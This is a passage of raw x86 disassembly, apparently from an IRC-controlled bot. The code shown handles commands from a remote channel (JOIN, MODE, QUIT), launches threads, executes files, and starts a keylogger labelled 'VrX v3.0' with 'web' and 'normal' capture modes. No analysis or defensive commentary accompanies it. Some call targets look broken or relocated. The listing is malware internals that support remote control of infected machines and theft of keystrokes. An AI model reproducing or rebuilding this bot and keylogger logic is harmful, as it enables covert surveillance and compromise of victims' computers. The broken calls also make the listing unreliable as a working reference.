[ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h nop call near ptr 2680000h jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj nop call near ptr 2680880h push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A440 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax call near ptr 2680000h nop loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A404 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D0 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A39C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset byte_414F57 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h call near ptr 2680000h nop jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j nop call near ptr 2680880h push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A334 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset byte_414703 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h nop call near ptr 2680000h jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej nop call near ptr 2680880h push eax push offset dword_42A2F8 loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2DC push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C0 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2B8 push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A24C push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2680000h push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A968 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C0 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A190 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A178 push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_4126A7 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h call near ptr 2680000h nop jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j call near ptr 2680880h nop push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A03C push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A000 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FE8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h nop call near ptr 2680000h jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j nop call near ptr 2680880h push eax push offset unk_429FA8 loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_1 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_4161C1 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h nop call near ptr 2680000h jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi call near ptr 268021Bh nop test eax, eax jz short loc_4091C7 push edi push offset dword_429F50 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429EFC loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E8C push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 pop ecx pop ecx push 1F4h nop call near ptr 2680000h push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E924[eax] nop call near ptr 2690845h push edi call sub_41C159 imul eax, 234h push edi mov dword_43E924[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D34 loc_40948F: ; CODE 